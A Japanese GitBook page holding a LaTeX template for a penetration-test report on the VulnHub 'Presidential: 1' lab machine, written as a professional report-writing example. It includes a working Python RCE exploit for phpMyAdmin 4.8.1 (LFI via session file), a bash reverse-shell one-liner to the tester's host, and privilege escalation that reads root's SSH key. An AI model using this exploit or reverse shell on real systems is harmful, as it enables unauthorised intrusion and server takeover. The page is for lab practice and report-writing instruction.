> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ja/useful-resources/reporting/report-1-presidential-writeup-latex.md).

# レポート 1 - Presidential LaTeX レポート

プロフェッショナルなペネトレーションテストレポートの作成、発見事項の構成、悪用証拠の記録のための Presidential VulnHub LaTeX レポートメモ。

{% hint style="warning" %}
これは、環境および会社監査に関連して Orange Cyberdefense で働いていると想定した、技術職向けレポートの例です「[Presidential](/ja/writeups-ctf/vulnhub/linux-vulnhub/presidential-1-vulnhub-writeup.md)」。この分析では、Web の脆弱性と権限昇格のリスクを備えた、事前構成済みの VulnHub マシンを使用しました。

このレポートは次のソフトウェアを使用して作成されました。 [LaTeX](https://www.overleaf.com/) このソフトウェアは、その技術的な複雑さだけでなく、非常に有用で、カスタマイズの自由度が高く、プロ品質のレポートを生成できることで知られています。以下に、この例を示す LaTeX コードと PDF ファイルを示します。
{% endhint %}

{% file src="/files/c45829d7cdd57baf3b603c54c8e751398a3df879" %}

<div data-full-width="false"><figure><img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-843be087e817938e2a454e3395ce46e9401f9d29%2Fimage%20(2034).png?alt=media" alt=""><figcaption></figcaption></figure></div>

<details>

<summary>LaTeX から PDF ファイルを生成するための環境設定：</summary>

1. PDF ファイルの既定アプリケーションを確認します：

```bash
xdg-mime query default application/pdf
```

2. PDF ファイルの既定アプリを Zathura に設定します：

```bash
xdg-mime default zathura.desktop application/pdf
```

3. 文書用の .tex ファイルを作成します：

```bash
touch presidential.tex
```

4. 文書をコンパイルします：

```bash
latexmk -pdf presidential.tex -pvc
```

<img src="https://2001299964-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-52238332ca68596b3760422ea633b7cf02dffd51%2Fimage%20(2033).png?alt=media" alt="" data-size="original">

</details>

{% code fullWidth="true" %}

```latex
/documentclass[a4paper]{article}

% パッケージ
/usepackage[utf8]{inputenc} % テキストを UTF-8 でエンコード
/usepackage[english]{babel} % 英語
/usepackage[margin=2cm, top=2cm, includefoot]{geometry} % ページレイアウト
/usepackage{graphicx} % 画像を挿入するため
/usepackage[table,xcdraw]{xcolor} % 色
/usepackage{tikz,lipsum,lmodern} % 図
/usepackage[most]{tcolorbox} % カスタムボックス
/usepackage{fancyhdr} % ヘッダーとフッター
/usepackage[hidelinks]{hyperref} % ハイパーリンク
/usepackage{setspace} % 行間
/usepackage{listings} % ソースコード表示
/setstretch{1.2} % 行間隔
/usepackage{parskip} % 段落間隔
/setlength{/parindent}{0pt} % 段落の字下げなし
/setlength{/parskip}{0.8em plus 0.5em minus 0.2em} % 段落間隔
/setlength{/parfillskip}{/parindent plus 1fill} % テキストの両端揃え
/usepackage[figurename=Figure]{caption} % 図ラベル
/usepackage{ragged2e} % テキストの両端揃え

% 変数
/newcommand{/logoPortada}{Images/vulnhub.png}
/newcommand{/machineName}{Presidential: 1}
/newcommand{/logoMachine}{Images/casablanca.jpg}
/newcommand{/startDate}{2024年2月21日}
/newcommand{/logoCompany}{Images/orange-company.png}
/newcommand{/logoPlatform}{Images/platform-vulnhub.png}

% 色
/definecolor{bluePortada}{HTML}{146c8a}

% タイトルのカスタマイズ
/addto/captionsenglish{/renewcommand{/contentsname}{目次}}

% ヘッダーとフッター
/setlength{/headheight}{40.2pt}
/pagestyle{fancy}
/fancyhf{}
/lhead{/includegraphics[width=4cm]{/logoCompany}} % ヘッダー左側の会社ロゴ
/rhead{/includegraphics[height=1.2cm]{/logoPlatform}} % ヘッダー右側のプラットフォームロゴ
/renewcommand{/headrulewidth}{3pt} % ヘッダー線の幅
/renewcommand{/headrule}{/hbox to/headwidth{/color{orange}/leaders/hrule height /headrulewidth/hfill}} % ヘッダー線の色

% ソースコードキャプションの設定
/renewcommand{/lstlistingname}{コード}

% ソースコードのスタイル
/definecolor{codegreen}{rgb}{0,0.6,0}
/definecolor{codegray}{rgb}{0.5,0.5,0.5}
/definecolor{codepurple}{rgb}{0.58,0,0.82}
/definecolor{backcolour}{rgb}{0.95,0.95,0.92}

/newtcolorbox{definicion}{
  breakable,
  enhanced,
  colback=white,
  colframe=bluePortada!75!black,
  arc=0mm,
  boxrule=1pt,
  leftrule=12mm,
  fonttitle=/bfseries,
  coltitle=blue!75!black,
  タイトル=定義,
  attach title to upper=/par,
}

/lstdefinestyle{mystyle}{
    backgroundcolor=/color{backcolour},   
    commentstyle=/color{codegreen}, % コメント色
    keywordstyle=/color{magenta}, % キーワード色
    numberstyle=/tiny/color{codegray}, % 行番号のスタイル
    stringstyle=/color{codepurple}, % 文字列色
    basicstyle=/ttfamily/footnotesize, % 基本文字スタイル
    breakatwhitespace=false,         
    breaklines=true,                 
    captionpos=b,                    
    keepspaces=true,                 
    numbers=left,                    
    numbersep=5pt,                  
    showspaces=false,                
    showstringspaces=false,
    showtabs=false,                  
    tabsize=2
}

/lstset{style=mystyle} % グローバルなコードスタイル設定

% 文書の開始
/begin{document}
/cfoot{/thepage} % ページ番号付きフッター
  /begin{titlepage} % タイトルページ
      /centering
      /includegraphics[width=0.5/textwidth]{/logoPortada}/par/vspace{1cm} % タイトルページのロゴ
{/scshape/LARGE /textbf{技術レポート}/par/vspace{0.4cm}} % レポートタイトル
{/Huge/textcolor{bluePortada}{/textbf{マシン /machineName}}} % マシン名
      /vfill
/includegraphics[width=/textwidth, height=10cm, keepaspectratio]{/logoMachine} % マシン画像
      /vfill
/begin{tcolorbox}[colback=red!5!white,colframe=red!75!black] % 秘密情報ボックス
    /centering
この文書は機密文書であり、機微な情報を含んでいます。// 第三者への印刷や共有は行わないでください。
  /end{tcolorbox}
  /vfill
{/large /startDate/par} % レポート日付
  /vfill
  /end{titlepage}
% ------------------------------------------------------------------
% 目次の開始
/clearpage
/tableofcontents % 目次
/clearpage

/section{背景}
この文書は、/textbf{/machineName} マシンに対して実施した監査フェーズで得られた結果を示し、見つかったすべての攻撃ベクトルと、それぞれに対して実施した侵害方法を列挙しています。

このマシンは、コンピュータセキュリティと倫理的ハッキングに関心のある人向けの学習・実践プラットフォームである /href{https://www.vulnhub.com/}{/textbf{/color{bluePortada}Vulnhub}} プラットフォームからダウンロードしました。以下に、このマシンのダウンロードリンクを示します。

/vspace{0.2cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=対象URL,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://www.vulnhub.com/entry/presidential-1,500/}{/textbf{/color{black}https://www.vulnhub.com/entry/presidential-1,500}}

/end{tcolorbox}

/vspace{0.5cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/presidential-image.png}}
/caption{マシンのWebサービスのホームページ}
/end{figure}
/vspace{1cm}
/section {目的}
このセキュリティ監査の目的は、/textbf{/color{bluePortada}/machineName} マシン上の潜在的な脆弱性や弱点を特定し、そこに保存された情報の完全性と機密性を確保することにあります。

これを踏まえ、このサーバー上で公開されている検出済みのすべてのサービスについて徹底的な分析を行い、セキュリティの観点から潜在的なリスクを持つものについて詳細な情報を収集しました。
/clearpage

/subsection{範囲}

この監査で達成すべき目的を以下に示します。

/begin{itemize}
/item 脆弱なポートとサービスを特定する。
/item 特定された脆弱性を悪用する。
/item 特定された脆弱なサービスを悪用してサーバーにアクセスを取得する。
/item 侵害後にシステムで権限昇格の可能性がある経路を列挙する。
/end{itemize}

/subsection{制約と制限}

監査プロセス中、以下のいずれかの活動を実行することは厳禁です。

/begin{itemize}
/item サービス拒否（/textbf{denial of service}）を引き起こす、または公開サービスの可用性に影響を与える可能性のある作業を行う。
/item 侵害後にサーバー上の常駐ファイルを削除する。
/end{itemize}

/subsection{全体概要}

この監査では、サーバー上でホストされている情報の完全性と機密性を危険にさらす、数多くの重大なセキュリティ脆弱性が明らかになりました。機密性の高いバックアップファイルの露出から phpMyAdmin の重大な脆弱性の悪用まで、このサーバーはさまざまな攻撃に対して脆弱であることが判明しました。

サブドメインの特定、公開サービスの列挙、そして脆弱な認証パネルの悪用が、この監査で実施された攻撃の主要な侵入口となりました。

これらの脆弱性に対処し、セキュリティリスクを軽減するために、直ちに対応することが不可欠です。phpMyAdmin を最新バージョンに更新し、機密ファイルへのアクセス制限や、公開 Web アプリケーションでの適切な入力フィルタの実装など、追加のセキュリティ対策を講じることを強く推奨します。

要するに、この監査は、定期的な監査の実施、セキュリティパッチの適用、そして組織のデジタル資産を保護するためのサイバーセキュリティのベストプラクティスの遵守によって、システムのセキュリティ姿勢を積極的に維持することの重要性を示しています。

/clearpage
/section{偵察}
/subsection{公開サービスの列挙}
以下に、/textbf{nmap} ツールで実施した偵察中に特定されたポートとサービスの証拠を示します。
/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/ports.png}}
/caption{nmap によるポート列挙}
/end{figure}

/vspace{0.3cm}
この場合、TCP プロトコルを使用して 2 つのアクティブなポートが特定されました。

/vspace{0.5cm}
/centering
/begin{tikzpicture}[node distance=2cm, every node/.style={rectangle, draw, fill=white}]

/node (center) {TCP};
/node (port1) [below left of=center, node distance=3cm] {ポート 80};
/node (port2) [below right of=center, node distance=3cm] {ポート 2082};
/draw (center) -- (port1);
/draw (center) -- (port2);

/end{tikzpicture}

/vspace{0.5cm}
/justifying

同様に、他のプロトコルを介して公開されているポートは見つからなかったため、最初のスキャンで特定されたポートの評価が優先されます。

/clearpage
/subsection{Web サーバーの列挙}

以下は、/textbf{WhatWeb} ツールで得られた結果です。これは、ポート 80 で動作している HTTP サービスに対して偵察を行った後、Web サイトで使用されている特定の Web 技術を特定するための Web 偵察ツールです。

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.90/paperwidth]{Images/whatweb.png}}}
/caption{ポート 80 の HTTP サービスの列挙}
/end{figure}

得られた結果により、既存のいくつかの技術のバージョンを特定できます。

/vspace{0.4cm}

/centering
/begin{tabular}{ c | c }
/textbf{技術} & /textbf{バージョン} //
/hline
PHP & 5.5.38 //
Apache & 2.4.6
/end{tabular}
/vspace{0.4cm}

/justifying

提供された情報の中から、/textbf{phishing} 攻撃に利用できる 2 つのメールアドレスも特定できます。

/vspace{0.3cm}
/begin{center}
/texttt{contact@example.com} /qquad /texttt{contact@votenow.local}
/end{center}

/textbf{phishing} は、パスワード、銀行情報、クレジットカード情報などの機密情報を入手するために個人をだまして行うコンピュータ攻撃の一種です。この攻撃は、正規に見える偽のメールやテキストメッセージを送信し、受信者に個人情報や機密情報の提供を求めることで実行されます。

さらに、/textbf{wig} ツールを使って Web サービスに対し徹底的な認識を行った結果、アクティブな /textbf{Centos} のバージョンも特定できました。

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/wig-results.png}}
/caption{ポート 80 の HTTP サービスの列挙}
/end{figure}
/clearpage

/subsection{サブドメインの列挙}
メールを通じて '/textbf{votenow.local}' ドメインが特定された後、有効なサブドメインを特定する目的でメインドメインに対してブルートフォース攻撃が実施されました。

ブルートフォース攻撃の完了後、得られた結果は以下のとおりです。

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/subdomain.png}}
/caption{Gobuster で特定されたサブドメイン}
/label{fig:identifiedSubdomains}
/end{figure}

/vspace{0.3cm}
'/textbf{datasafe.votenow.local}' サブドメインが有効なサブドメインとして特定されました。このサブドメインは監査において非常に重要な役割を果たしました。というのも、そこを経由して /textbf{phpMyAdmin} に存在する脆弱性を悪用し、システムへのアクセスを取得したからです。

なお、これらのドメインとサブドメインにアクセスできるようにするためには、次の内容を '/textbf{/etc/hosts}' ファイルに追加する必要がありました。

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.8/textwidth]{Images/virtualHosting.png}}
/caption{/etc/hosts ファイルの内容}
/end{figure}
/vspace{0.3cm}
これは '/textbf{virtual hosting}' の適用によるもので、複数の Web サイトを 1 台の物理マシンでホストするために Web サーバーで使用される技術です。'/textbf{/etc/hosts}' ファイルは、各 Web サイトのドメイン名をサーバーの IP アドレスに関連付けるために使用されます。

この関連付けがなければ、Web サーバーは提供すべき正しい Web サイトを判別できず、エラーになるか、誤った Web サイトが表示されます。
/clearpage
/subsection{認証パネルの列挙}
サブドメイン '/textbf{datasafe.votenow.local}' が発見された後、/pageref{fig:identifiedSubdomains} ページの /ref{fig:identifiedSubdomains} に示す画像のとおり、次の /textbf{phpMyAdmin} の認証パネルが見つかりました。

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/PhpMyAdmin.png}}
/caption{phpMyAdmin の認証パネル}
/label{fig:PhpMyAdmin}
/end{figure}

/section{脆弱性の特定と悪用}
/subsection{バックアップファイルの公開}

'/textbf{gobuster}' ツールを使用した偵察段階で、サーバー上に公開されたバックアップファイルが特定されました。/textbf{gobuster} は、サーバーや Web サイト上の Web リソースを検索・列挙するために使用されるオープンソースのコマンドラインツールです。

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/BackUp.png}}
/caption{サーバー上で公開されたバックアップファイル}
/end{figure}

/clearpage

このファイルは、セキュリティ上のリスクをもたらす機密情報が含まれていないか確認するためにアップロードされました。この時点で、そのファイルには次の特権情報が含まれていることが判明しました。

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/credentials.png}}
/caption{credentials BackUp ファイルの内容}
/end{figure}

これらの識別子はデータベースのアクセス識別子に対応しており、ユーザー名とパスワードの再利用により、/pageref{fig:phpMyAdmin} ページの /ref{fig:phpMyAdmin} 画像で示されているように /textbf{phpMyAdmin} にアクセスできました。
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/phpmyadminIN.png}}
/caption{phpMyAdmin 管理インターフェースへの接続}
/end{figure}

/clearpage
/subsection{phpMyAdmin の悪用}
'/textbf{phpMyAdmin}' にログインすると、現在使用されているバージョンを特定できました。

/vspace{0.3cm}

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.67/textwidth]{Images/versionPhpMyAdmin.png}}
/caption {使用されている phpMyAdmin のバージョン}
/end{figure}

/vspace{0.3cm}
このバージョンは /textbf{古いバージョン} の phpMyAdmin に該当するため、いくつかの既知の /textbf{重大な脆弱性} が露出しています。

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/searchExploit.png}}
/caption {使用されている phpMyAdmin のバージョンに対する脆弱性}
/end{figure}


/clearpage
その中には、悪意のある攻撃者がサーバー上で /textbf{リモートでコードを実行} できるものもあります。

以下に、サーバー上でリモートコマンドを実行するために使用した Python3 スクリプトを示します。

/vspace{0.3cm}

/begin{lstlisting}[language=Python, caption=脆弱な phpMyAdmin バージョン向けのエクスプロイト]
#!/usr/bin/python3

import re, requests, sys

def get_token(content):
  s = re.search('token"/s*value="(.*?)"', content)
  token = html.unescape(s.group(1))
  return token

ipaddr = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
username = sys.argv[4]
password = sys.argv[5]
command = sys.argv[6]

url = "http://{}:{}{}".format(ipaddr,port,path)

url1 = url + "/index.php"
r = requests.get(url1)
content = r.content.decode('utf-8')

s = re.search('PMA_VERSION:"(/d+/./d+/./d+)"', content)
version = s.group(1)

cookies = r.cookies
token = get_token(content)

p = {'token': token, 'pma_username': username, 'pma_password': password}
r = requests.post(url1, cookies = cookies, data = p)
content = r.content.decode('utf-8')
s = re.search('logged_in:(/w+),', content)
logged_in = s.group(1)

cookies = r.cookies
token = get_token(content)

url2 = url + "/import.php"
payload = '''select '<?php system("{}") ?>';'''.format(command)
p = {'table':'', 'token': token, 'sql_query': payload }
r = requests.post(url2, cookies = cookies, data = p)

session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)

content = r.content.decode('utf-8', errors="replace")
s = re.search("select '(.*?)/n'", content, re.DOTALL)
if s != None:
  print(s.group(1))
/end{lstlisting}

/clearpage
コマンドの実行と、システムへの侵入を可能にするコマンドの注入が行われた後、サーバーへのアクセスが取得されました。

/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/rce.png}}
/caption {phpMyAdmin の悪用によるサーバーへのアクセス取得}
/end{figure}

この場合、'/textbf{curl}' を介してコマンドが実行され、次の内容を含む Bash スクリプトが解釈されます。

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=接続確立を担当する Bash スクリプト]
bash -i >& /dev/tcp/192.168.71.128/443 0>&1
/end{lstlisting}

このスクリプトは攻撃者のサーバー上でホストされているため、標的サーバーに残存ファイルを残さずに済みます。コマンドが実行されると、攻撃者はサーバーにアクセスし、この場合は '/textbf{apache}' ユーザーとしてマシンを制御できます。

スクリプトを見ればわかるように、要するにこのスクリプトは、このバージョンの phpMyAdmin に存在する /textbf{LFI} 脆弱性を悪用してリモートコマンド実行を実現しています。

/vspace{0.3cm}
/begin{lstlisting}[language=Python, caption=LFI 悪用に関連するコードスニペット]
session_id = cookies.get_dict()['phpMyAdmin']
url3 = url + "/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_{}".format(session_id)
r = requests.get(url3, cookies = cookies)
/end{lstlisting}
/vspace{0.3cm}
/begin{definicion}
LFI（Local File Inclusion）は、Web アプリケーションにおけるセキュリティ脆弱性であり、ローカルファイルを Web ページに取り込むことで、攻撃者がサーバー上のローカルファイルにアクセスできるようにします。
/end{definicion}
/clearpage

LFI を通じて、セッションを保存している PHP リソースに関する情報を取得します。これは、ユーザー側のさまざまなアクティブセッションに関連する情報を表します。

この読み取りと自身のユーザーセッションを悪用し、/textbf{SQL クエリ} を使って PHP コードを含むクエリを挿入します。そのコードは LFI を通じてユーザーのセッションファイルから参照できます。これにより、PHP コードはサーバーによって解釈されないため、リモートコマンド実行に至ります。

/section{権限昇格}
システム全体が侵害されたら、次の主な目標はサーバー上で可能な限り高い権限を取得することです。権限を高め、公開されているすべてのサービスへの制御とアクセスを強化することを目的としています。
/subsection{Administrator ユーザーへの移行}
サーバー上には Administrator ユーザーが存在しますが、apache ユーザーから /textbf{制限付きアクセス} しか得られないため、適切に設定されているように見えます。
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/directori-admin.png}}
/caption {Admin のホームディレクトリへのアクセス拒否}
/end{figure}

しかし、以前に侵害したデータベースには、そのユーザーと同じユーザー名のハッシュ化されたパスワードが表示されています。ユーザーのパスワード再利用は非常に重大であり、この場合はユーザーの直接的な移行につながります。
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=/textwidth]{Images/hash-password.png}}
/caption {admin ユーザーのデータベースに保存されたハッシュ化パスワード}
/end{figure}
/clearpage
/subsection{admin ユーザーの公開ハッシュ化パスワードの解析}
パスワードはハッシュ化されているため、'/textbf{john}' ツールを使用して admin パスワードのハッシュを解読し、平文で確認できるようにします。この場合、1000万を超える異なる組み合わせを含む辞書を使用し、パスワードがそれほど複雑ではなかったため、ツールは数分で解読して公開しました。
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/pass-cracked.png}}
/caption {admin ユーザーの復号済み平文パスワード}
/end{figure}
/vspace{0.3cm}
/newline admin ユーザーへの移行が可能だったのは、データベースとシステムユーザーの両方で admin ユーザーに対して /textbf{同じパスワードが再利用} されていたためです。これは悪い慣行であり、このような重大な問題を避けるために、異なる各サービスごとに別のパスワードを持つことが推奨されます。
/vspace{0.2cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.80/textwidth]{Images/admin-access.png}}
/caption {特権ユーザー admin のディレクトリへのアクセス}
/end{figure}
/clearpage
/subsection{SSH 鍵を公開する権限機能の脆弱性}
/vspace{0.3cm}
/begin{definicion}
Linux の capabilities は、プログラムに特定の特権を付与し、完全な root 権限を与えなくても制限された操作を可能にするセキュリティ機構です。
/end{definicion}
この場合、tarS ツールを使用してルートユーザーとして実行することで、ルールやブロックなしにシステム上のすべてのファイルを閲覧できる権限が見つかりました。この権限を悪用すると、次のコマンドで root ユーザーの /textbf{SSH 秘密鍵} を一覧表示できました。

/vspace{0.3cm}
/begin{lstlisting}[language=Bash, caption=]
tarS -cvf id_rsa.tar /root/.ssh/id_rsa
/end{lstlisting}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.50/paperwidth]{Images/ssh-clave.png}}}
/caption {root ユーザーの SSH 秘密鍵}
/end{figure}
/subsection{システムの root アクセス}
最終的に、root 権限でマシンへのアクセスが取得されました。tarS ツールの capability を削除し、この権限昇格を許さない代替手段を見つける緊急の必要があります。
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/makebox[/textwidth]{/fbox{/includegraphics[width=0.60/paperwidth]{Images/flag-root.png}}}
/caption {root ユーザーのフラグ取得}
/end{figure}
/clearpage
/section{対策とベストプラクティス}

公開されたサーバーでの意図しない悪用を避けるため、発見されたさまざまな脆弱性に対して従うべきベストプラクティスを以下に示します。

/subsection{phpMyAdmin 4.8.1 の脆弱性}
phpMyAdmin は、Web インターフェース経由で MySQL データベースを管理するための一般的なツールです。しかし、phpMyAdmin のバージョン 4.8.1 には、攻撃者がホストされている Web サーバー上で任意のコードを実行できる既知の脆弱性があります。

この脆弱性を修正するには、phpMyAdmin の最新バージョン（現在は 5.2.1）に /textbf{更新} する必要があります。何らかの理由で最新バージョンへの更新が不可能な場合でも、悪用リスクを軽減するためにいくつかの対策を講じることができます。
/begin{itemize}
/item スクリプト '/textbf{index.php}' のコードを修正し、ユーザーが入力した変数 '/textbf{target}' が正しく制御されるようにする。
/end{itemize}
/vspace{0.3cm}
/begin{figure}[h]
/centering
/setlength{/fboxrule}{1pt}
/fbox{/includegraphics[width=0.85/textwidth]{Images/lfi_in_code.png}}
/caption {脆弱なターゲットパラメータ}
/end{figure}

/begin{itemize}
/item ユーザーに含める任意のファイルを指定させるのではなく、許可されたファイルの一覧を定義し、ファイルを含める前に '/textbf{target}' パラメータに渡された値がその一覧に含まれていることを確認してください。
/end{itemize}

/subsection{Capabilitiesによる権限昇格}
まず、tarS ツールの使用を無効化します。この権限昇格の脆弱性がサービスやツールにあるかを修正・確認するには、以下の Web サイトを訪れてください。そこには、この件に関するあり得る脆弱性をすべて検索できる検索エンジンがあります:
/vspace{0.3cm}

/begin{tcolorbox}[enhanced,attach boxed title to top center={yshift=-3mm,yshifttext=-1mm},
colback=orange!5!,colframe=orange!75!black,colbacktitle=orange!80!black,
title=対象URL,fonttitle=/bfseries,
boxed title style={size=small,colframe=black!50!orange} ]
/centering
/href{https://gtfobins.github.io/}{/textbf{/color{black}https://gtfobins.github.io}}
/end{tcolorbox}

/clearpage
/section{結論}
/textbf{Presidential: 1} マシンに対して実施されたセキュリティ監査では、サーバー上でホストされている情報の完全性と機密性を危険にさらす一連の重大な脆弱性が明らかになりました。機密ファイルの漏えいから phpMyAdmin の脆弱性の悪用に至るまで、すべてのシステムコンポーネントを最新に保ち、適切なセキュリティ対策を遵守する重要性が浮き彫りになりました。

phpMyAdmin の脆弱性が悪用されたことで、攻撃者はサーバーにアクセスし、権限を管理者ユーザーまで昇格させることができ、その結果システム全体が侵害されました。これは、ソフトウェアの定期的な更新、適切なパスワード管理、継続的なサーバー監視など、先手を打ったセキュリティ対策を実装することの重要性を示しています。

今後の攻撃から保護するため、前述の対策を実施し、サイバーセキュリティのベストプラクティスに従うことを強く推奨します。デジタル資産の保護と事業継続性を確保するため、セキュリティは常に優先すべき重要事項でなければなりません。

/end{document}
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/ja/useful-resources/reporting/report-1-presidential-writeup-latex.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
